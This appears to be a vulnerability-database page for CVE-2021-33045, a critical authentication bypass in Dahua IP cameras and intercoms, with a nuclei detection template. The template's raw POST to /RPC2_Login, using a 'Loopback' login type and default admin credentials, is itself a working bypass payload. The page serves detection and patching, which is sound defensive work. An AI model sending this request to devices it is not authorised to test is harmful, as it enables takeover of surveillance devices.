Browse / CVEs / CVE-2021-33045
CVE-2021-33045· dahuasecurity / ipc-hum7xxx firmware· CWE-287
Dahua IPC/VTH/VTO - Authentication Bypass
Exploited in the wild. Listed by CISA on 2024-08-21; known to be used by ransomware.
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
Impact
Unauthenticated attackers can bypass device authentication by constructing malicious login packets, gaining full administrative access to Dahua IPC/VTH/VTO devices.
Fix
Apply firmware updates provided by Dahua to address the authentication bypass vulnerability.
How to confirm it
Send: POST /RPC2_Login
Positive when: contains "\"session\":" and "\"result\":true" and "\"keepAliveInterval\":" AND status 200Run it with nuclei: nuclei -id CVE-2021-33045 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-33045
info:
name: Dahua IPC/VTH/VTO - Authentication Bypass
author: phantomowl
severity: critical
description: |
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
impact: |
Unauthenticated attackers can bypass device authentication by constructing malicious login packets, gaining full administrative access to Dahua IPC/VTH/VTO devices.
remediation: |
Apply firmware updates provided by Dahua to address the authentication bypass vulnerability.
reference:
- https://seclists.org/fulldisclosure/2021/Oct/13
- https://www.dahuasecurity.com/aboutUs/trustedCenter/details/582
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-33045
cwe-id: CWE-287
epss-score: 0.99593
epss-percentile: 0.99947
cpe: cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dahuasecurity
product: ipc-hum7xxx_firmware
tags: cve,cve2021,dahua,auth-bypass,seclists,kev,vkev,vuln
http:
- raw:
- |
POST /RPC2_Login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"method": "global.login",
"params": {
"userName": "admin",
"ipAddr": "127.0.0.1",
"loginType": "Loopback",
"clientType": "Local",
"authorityType": "Default",
"passwordType": "Plain",
"password": "admin"
},
"id": 1,
"session": 0
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"session":'
- '"result":true'
- '"keepAliveInterval":'
condition: and
- type: status
status:
- 200References
- https://seclists.org/fulldisclosure/2021/Oct/13
- https://www.dahuasecurity.com/aboutUs/trustedCenter/details/582
Use this check only on systems you are authorised to test. Where the data comes from